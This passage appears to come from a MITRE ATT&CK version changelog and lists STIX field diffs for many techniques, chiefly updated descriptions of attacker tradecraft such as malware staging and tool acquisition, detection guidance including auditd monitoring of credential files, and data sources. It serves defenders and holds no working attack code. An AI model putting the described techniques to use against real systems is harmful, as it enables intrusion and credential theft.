to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). + +Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. Tools may also be leveraged for testing – for example, evaluating malware against commercial antivirus or endpoint detection and response (EDR) applications.(Citation: Forescout Conti Leaks 2022)(Citation: Sentinel Labs Top Tier Target 2025) + +Tool acquisition may involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). Threat actors may also crack trial versions of software.(Citation: Recorded Future Beacon 2019) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. | |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Sentinel Labs Top Tier Target 2025', 'description': ' Tom Hegel, Aleksandar Milenkoski & Jim Walter. (2025, April 28). Top Tier Target | What It Takes to Defend a Cybersecurity Company from Today’s Adversaries. Retrieved May 22, 2025.', 'url': 'https://www.sentinelone.com/labs/top-tier-target-what-it-takes-to-defend-a-cybersecurity-company-from-todays-adversaries/'} | |
| external_references | {'source_name': 'Forescout Conti Leaks 2022', 'description': 'Vedere Labs. (2022, March 11). Analysis of Conti Leaks. Retrieved May 22, 2025.', 'url': 'https://www.forescout.com/resources/analysis-of-conti-leaks/'} | |
| x_mitre_contributors | Menachem Goldstein |
Current version: 1.4
Version changed from: 1.3 → 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:56.647000+00:00 | 2025-10-24 17:49:12.476000+00:00 |
| x_mitre_detection | Unix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. + +Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. | |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.3
Version changed from: 1.2 → 1.3
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may upload malware to third-party or adversary c | t | 1 | Adversaries may upload malware to third-party or adversary c |
| > | ontrolled infrastructure to make it accessible during target | > | ontrolled infrastructure to make it accessible during target | ||
| > | ing. Malicious software can include payloads, droppers, post | > | ing. Malicious software can include payloads, droppers, post | ||
| > | -compromise tools, backdoors, and a variety of other malicio | > | -compromise tools, backdoors, and a variety of other malicio | ||
| > | us content. Adversaries may upload malware to support their | > | us content. Adversaries may upload malware to support their | ||
| > | operations, such as making a payload available to a victim n | > | operations, such as making a payload available to a victim n | ||
| > | etwork to enable [Ingress Tool Transfer](https://attack.mitr | > | etwork to enable [Ingress Tool Transfer](https://attack.mitr | ||
| > | e.org/techniques/T1105) by placing it on an Internet accessi | > | e.org/techniques/T1105) by placing it on an Internet accessi | ||
| > | ble web server. Malware may be placed on infrastructure tha | > | ble web server. Malware may be placed on infrastructure tha | ||
| > | t was previously purchased/rented by the adversary ([Acquire | > | t was previously purchased/rented by the adversary ([Acquire | ||
| > | Infrastructure](https://attack.mitre.org/techniques/T1583)) | > | Infrastructure](https://attack.mitre.org/techniques/T1583)) | ||
| > | or was otherwise compromised by them ([Compromise Infrastru | > | or was otherwise compromised by them ([Compromise Infrastru | ||
| > | cture](https://attack.mitre.org/techniques/T1584)). Malware | > | cture](https://attack.mitre.org/techniques/T1584)). Malware | ||
| > | can also be staged on web services, such as GitHub or Pasteb | > | can also be staged on web services, such as GitHub or Pasteb | ||
| > | in, or hosted on the InterPlanetary File System (IPFS), wher | > | in; hosted on the InterPlanetary File System (IPFS), where d | ||
| > | e decentralized content storage makes the removal of malicio | > | ecentralized content storage makes the removal of malicious | ||
| > | us files difficult.(Citation: Volexity Ocean Lotus November | > | files difficult; or saved on the blockchain as smart contrac | ||
| > | 2020)(Citation: Talos IPFS 2022) Adversaries may upload bac | > | ts, which are resilient against takedowns that would affect | ||
| > | kdoored files, such as application binaries, virtual machine | > | traditional infrastructure.(Citation: Volexity Ocean Lotus N | ||
| > | images, or container images, to third-party software stores | > | ovember 2020)(Citation: Talos IPFS 2022)(Citation: Guardio E | ||
| > | or repositories (ex: GitHub, CNET, AWS Community AMIs, Dock | > | therhiding 2023)(Citation: Bleeping Computer Binance Smart C | ||
| > | er Hub). By chance encounter, victims may directly download/ | > | hain 2023) Adversaries may upload backdoored files, such as | ||
| > | install these backdoored files via [User Execution](https:// | > | software packages, application binaries, virtual machine im | ||
| > | attack.mitre.org/techniques/T1204). [Masquerading](https://a | > | ages, or container images, to third-party software stores, p | ||
| > | ttack.mitre.org/techniques/T1036) may increase the chance of | > | ackage libraries, extension marketplaces, or repositories (e | ||
| > | users mistakenly executing these files. | > | x: GitHub, CNET, AWS Community AMIs, Docker Hub, PyPi, NPM). | ||
| > | (Citation: Datadog Security Labs Malicious PyPi Packages 202 | ||||
| > | 4) By chance encounter, victims may directly download/instal | ||||
| > | l these backdoored files via [User Execution](https://attack | ||||
| > | .mitre.org/techniques/T1204). Masquerading, including typo-s | ||||
| > | quatting legitimate software, may increase the chance of use | ||||
| > | rs mistakenly executing these files. | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:17:57.194000+00:00 | 2025-10-24 17:48:41.583000+00:00 |
| description | Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. + +Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin, or hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022) + +Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files. | Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. + +Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin; hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult; or saved on the blockchain as smart contracts, which are resilient against takedowns that would affect traditional infrastructure.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022)(Citation: Guardio Etherhiding 2023)(Citation: Bleeping Computer Binance Smart Chain 2023) + +Adversaries may upload backdoored files, such as software packages, application binaries, virtual machine images, or container images, to third-party software stores, package libraries, extension marketplaces, or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub, PyPi, NPM).(Citation: Datadog Security Labs Malicious PyPi Packages 2024) By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). Masquerading, including typo-squatting legitimate software, may increase the chance of users mistakenly executing these files. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105). | |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Datadog Security Labs Malicious PyPi Packages 2024', 'description': ' Sebastian Obregoso and Christophe Tafani-Dereeper. (2024, May 23). Malicious PyPI packages targeting highly specific MacOS machines. Retrieved May 22, 2025.', 'url': 'https://securitylabs.datadoghq.com/articles/malicious-pypi-package-targeting-highly-specific-macos-machines/'} | |
| external_references | {'source_name': 'Bleeping Computer Binance Smart Chain 2023', 'description': 'Bill Toulas. (2023, October 13). Hackers use Binance Smart Chain contracts to store malicious scripts. Retrieved May 22, 2025.', 'url': 'https://www.bleepingcomputer.com/news/security/hackers-use-binance-smart-chain-contracts-to-store-malicious-scripts/'} | |
| external_references | {'source_name': 'Guardio Etherhiding 2023', 'description': 'Nati Tal and Oleg Zaytsev. (2023, October 13). “EtherHiding” — Hiding Web2 Malicious Code in Web3 Smart Contracts. Retrieved May 22, 2025.', 'url': 'https://labs.guard.io/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts-65ea78efad16'} | |
| x_mitre_contributors | Adam Hunt | |
| x_mitre_contributors | Ray Jasinski |
Current version: 1.5
Version changed from: 1.4 → 1.5
New Mitigations:
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:14.227000+00:00 | 2025-10-24 17:49:29.591000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2) + +Monitor for web traffic to/from known-bad or suspicious domains. | |
| x_mitre_version | 1.4 | 1.5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Don Le, Stifel Financial |
Current version: 1.1
Version changed from: 1.0 → 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:21:00.705000+00:00 | 2025-10-24 17:48:44.123000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features. | |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Access', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:09.955000+00:00 | 2025-10-24 17:49:25.253000+00:00 |
| x_mitre_detection | The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes attempting to access /etc/passwd and /etc/shadow, alerting on the pid, process name, and arguments of such programs. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:43:10.406000+00:00 | 2025-10-24 17:49:23.221000+00:00 |
| x_mitre_detection | Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. + +Consider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Active Directory: Active Directory Credential Request'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:23.309000+00:00 | 2025-10-24 17:48:39.884000+00:00 |
| x_mitre_detection | Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft 4768 TGT 2017) |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'User Account: User Account Modification', 'Command: Command Execution', 'Process: OS API Execution', 'File: File Modification', 'Process: Process Metadata', 'File: File Metadata', 'Windows Registry: Windows Registry Key Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:37.690000+00:00 | 2025-10-24 17:48:53.277000+00:00 |
| x_mitre_detection | Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).
+
+Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.
+
+On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.
+
+There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Command: Command Execution', 'User Account: User Account Metadata', 'Process: Process Metadata', 'Process: Process Creation', 'Active Directory: Active Directory Object Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:21.869000+00:00 | 2025-10-24 17:49:29.051000+00:00 |
| x_mitre_detection | If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)
+
+If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.
+
+There are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.
+
+Query systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)
+
+Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:41.211000+00:00 | 2025-10-24 17:48:56.964000+00:00 |
| x_mitre_detection | Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options. |
Current version: 2.6
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution', 'File: File Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:41.600000+00:00 | 2025-10-24 17:48:57.239000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
+
+Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
+
+Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL) |
Current version: 2.8
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Active Directory: Active Directory Object Modification', 'File: File Modification', 'Group: Group Modification', 'User Account: User Account Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:54.718000+00:00 | 2025-10-24 17:49:10.273000+00:00 |
| x_mitre_detection | Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017) + +Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity. + +Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078) |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:43:51.840000+00:00 | 2025-10-24 17:49:25.997000+00:00 |
| x_mitre_detection | Much of this takes place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:44:26.959000+00:00 | 2025-10-24 17:48:53.018000+00:00 |
| x_mitre_detection | Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. + +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:13.464000+00:00 | 2025-10-24 17:48:31.226000+00:00 |
| x_mitre_detection | Monitor Registry key additions and/or modifications to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\.
+
+Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Process: Process Creation', 'File: File Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:45:27.400000+00:00 | 2025-10-24 17:48:37.911000+00:00 |
| x_mitre_detection | Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins) + +Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior |
Current version: 2.8
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['User Account: User Account Modification', 'Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:45:50.674000+00:00 | 2025-10-24 17:49:04.839000+00:00 |
| x_mitre_detection | Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account. + +Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity. |
Current version: 2.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['User Account: User Account Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:46:09.054000+00:00 | 2025-10-24 17:48:35.082000+00:00 |
| x_mitre_detection | Collect activity logs from IAM services and cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. |
Current version: 2.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Group: Group Modification', 'Application Log: Application Log Content', 'User Account: User Account Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:47:23.761000+00:00 | 2025-10-24 17:49:32.801000+00:00 |
| x_mitre_detection | Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts. + +Enable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. + +A larger than normal volume of emails sent from an account and similar phishing emails sent from real accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring. |
Current version: 2.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Windows Registry: Windows Registry Key Modification', 'Network Traffic: Network Traffic Flow', 'Service: Service Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:02.209000+00:00 | 2025-10-24 17:48:20.163000+00:00 |
| x_mitre_detection | Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Module: Module Load', 'Command: Command Execution', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:44.894000+00:00 | 2025-10-24 17:49:00.663000+00:00 |
| x_mitre_detection | Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) + +Tools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007) + +Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:21.193000+00:00 | 2025-10-24 17:49:24.008000+00:00 |
| x_mitre_detection | Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)
+
+Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns)
+
+Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:22.484000+00:00 | 2025-10-24 17:48:39.348000+00:00 |
| x_mitre_detection | Monitor for execution of AppleScript through osascript and usage of the NSAppleScript and OSAScript APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.
+
+Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. |
Current version: 1.8
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Web Credential: Web Credential Usage'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:20.277000+00:00 | 2025-10-24 17:49:35.227000+00:00 |
| x_mitre_detection | Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs. Additionally, administrators should review logs for calls to the AWS Security Token Service (STS) and usage of GCP service accounts in order to identify anomalous actions.(Citation: AWS Logging IAM Calls)(Citation: GCP Monitoring Service Account Usage) |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Sensor Health: Host Status', 'Application Log: Application Log Content'] |
| STIX Field | Old value | New Value |
